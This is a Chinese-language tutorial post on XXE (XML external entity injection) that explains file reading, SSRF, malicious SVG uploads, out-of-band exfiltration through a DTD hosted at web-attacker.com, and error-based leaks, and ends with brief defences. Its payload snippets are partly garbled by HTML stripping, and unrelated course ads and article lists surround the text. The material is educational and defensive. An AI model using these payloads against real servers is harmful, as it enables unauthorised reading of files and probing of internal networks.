Python微信订餐小程序课程视频

https://edu.csdn.net/course/detail/36074

Python实战量化交易理财系统

https://edu.csdn.net/course/detail/35475

XXE

漏洞原理

XXE是xml外部实体注入漏洞,应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行,内网端口扫描攻击内网网站等危害。

漏洞危害

1. 读取敏感文件。

2. 执行ssrf漏洞,进行内网端口探测,攻击内网网站等。

漏洞检测

1. XInclude攻击

一些应用程序接收用户的数据,在服务端嵌入到xml文档中解析,这时我们无法控制整个xml文档,所以就无法定义或修改DOCTYPE元素。XInclede是xml规范的一部分,允许从子文档中构建xml文档,从而进行攻击。

"http://www.w3.org/2001/XInclude">
"text" href="file:///etc/passwd"/>

2. 利用文件上传来进行xxe攻击

docx和svg等都是基于xml格式,如果图像处理库支持SVG图像,攻击者可以提交恶意的SVG图像,就可以利用文件上传执行xxe攻击。

创建具有xml代码的SVG图像

xml version=<span style="color: rgba(128, 0, 0, 1)""1.0" standalone="yes"?>"file:///etc/hostname" > ]>"128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">"16" x="0" y="16">&xxe;

将此图像上传上去。就可以在头像中看到/etc/hostname文件的内容。

3. 通过修改请求包的文件内容类型来进行xxe攻击

有些应用程序会允许xml的内容类型,我们就可以修改Content-Type: text/xml字段,来利用xxe漏洞。

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52xml version=<span style="color: rgba(128, 0, 0, 1)""1.0" encoding="UTF-8"?>bar原来的请求体中的内容是:foo=bar

4. 读取敏感文件

利用file协议读取服务器中的敏感文件。

xml version=<span style="color: rgba(128, 0, 0, 1)""1.0" encoding="UTF-8"?>
"file:///etc/passwd"> ]>
&xxe;

5. 执行ssrf攻击

利用http协议,让存在xxe漏洞的应用程序向与它处于同一内网的发送http请求。

"http://192.168.1.1:3389"> ]>

6. 带外通道技术来进行盲注xxe

一般情况下,虽然存在xxe漏洞,但是不会回显外部实体注入的值,我们就要利用带外通道技术。(OOB)

攻击者在vps中放置恶意的DTD,让存在漏洞的应用程序去访问。

恶意DTD(外部实体)内容:访问http://web-attacker.com/malicious.dtd可以访问到改DTD

">
%eval;
%exfiltrate;

向存在漏洞的应用程序中输入:

 %xxe;]>

7. 通过错误消息来读取文件

通过触发xml解析错误,在解析错误信息中返回我们需要读取的敏感信息。

"file:///etc/passwd">
"">
%eval;
%error;

漏洞防御

1. 使用开发语言提供的禁用外部实体的方法。

2. 过滤用户输入的xml数据中的关键字。

3. 不允许xml中有用户自定义的文档类型。

XXE外部实体注入漏洞总结相关推荐

  1. XML外部实体注入漏洞——XXE简单分析

    前言: XXE漏洞经常出现在CTF中,一直也没有系统的学习过,今天就来总结一波. 文章目录 一.XXE 漏洞是什么: 二.XML基础知识: 1.XML是什么? 2.XML文档结构: DTD声明方式: ...

  2. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection" 既"xml外部实体注入漏洞". 概括一下就是"攻击者通过向服务器注入指定的x ...

  3. PHP环境 XML外部实体注入漏洞

    PHP环境 XML外部实体注入漏洞 环境介绍 漏洞原理 漏洞复现 修补方案和建议 环境介绍 libxml 2.8.0 libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡.为了演示P ...

  4. Xml外部实体注入漏洞(XXE)与防护

    转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...

  5. XXE(XML外部实体注入)漏洞

    如果你的应用是通过用户上传处理XML文件或POST请求(例如将SAML用于单点登录服务甚至是RSS)的,那么你很有可能会受到XXE的攻击.XXE是一种非常常见的漏洞类型,我们几乎每天都会碰到它 什么是 ...

  6. 【网络安全】JAVA代码审计—— XXE外部实体注入

    一.WEB安全部分 想要了解XXE,在那之前需要了解XML的相关基础 二.XML基础 2.1 XML语法 所有的XML元素都必须有一个关闭标签 XML标签对大小写敏感 XML必须正确嵌套 XML 文档 ...

  7. XML 外部实体注入漏洞

    0x01 XXE(XML外部实体注入)漏洞 1.1 漏洞原因 1.2 漏洞构造方式 1.3 XML可解析的协议 0x02 寻找XXE漏洞隐藏的攻击面 2.1 XInclude攻击 2.2 通过文件上传 ...

  8. 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

    0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...

  9. XXE(XML外部实体注入)详解

    1. XXE漏洞描述 XXE(XML External Entity Injection)又称为"XML外部实体注入漏洞". 当允许引用外部实体时,通过构造恶意内容,就可能导致任意 ...

最新文章

  1. VL09增强-冲销校验
  2. linux怎么取消raid磁盘阵列,Linux下彻底关闭某个RAID磁盘阵列
  3. 古人把月球叫做广寒宫,古人是怎么知道月球上很冷的?一起来看看
  4. UC浏览器电脑版怎么设置字体大小 UC浏览器字体设置教程
  5. mac下ssh报错:ssh_exchange_identification: read: Connection reset by peer
  6. python选择排序算法图解_简单选择排序算法(C语言详解版)
  7. 基于LSTM、KNN等模型的平安银行股价预测对比研究(python)
  8. matlab画图画点画直线
  9. U盘中的文件夹被病毒隐藏,生成了同名的.exe后缀的可执行文件
  10. 基于FPGA的ov5640摄像头简易图像采集装置详解
  11. 阿里云Blink快速入门
  12. QT虚拟键盘中英文切换
  13. 华为鸿蒙福田办公室,华为鸿蒙第一批名单
  14. 教你文件批量重命名技巧,彻底告别手工改名的繁琐
  15. 智能车单车组之平衡控制理论分析篇
  16. 游戏分析鉴赏选修大作业
  17. 离网型风力发电机与并网型风力发电机之间的区别
  18. [Python]ctypes+struct实现类c的结构化数据串行处理
  19. 百度地图API 使用Demo
  20. java删除linux上的文件或文件夹工具类

热门文章

  1. 01.Windows系统安装
  2. WORD、WPS中插入公式后行距变大怎么办
  3. Luogu P2751 [USACO4.2]工序安排Job Processing
  4. 量化高频交易从0到1(期货CTP,纳秒级,高频、趋势及套利策略)课程大纲
  5. VisualVM的配置和使用
  6. 【全志T113-S3_100ask】15-2 linux系统gpio模拟spi驱动屏幕——ILI9341
  7. 微软薪资福利大揭密!
  8. VC中自定义打印调试信息函数,打印调试信息到DebugView上
  9. java类接口的区别_java抽象类和接口区别
  10. GetAsyncKeyState用法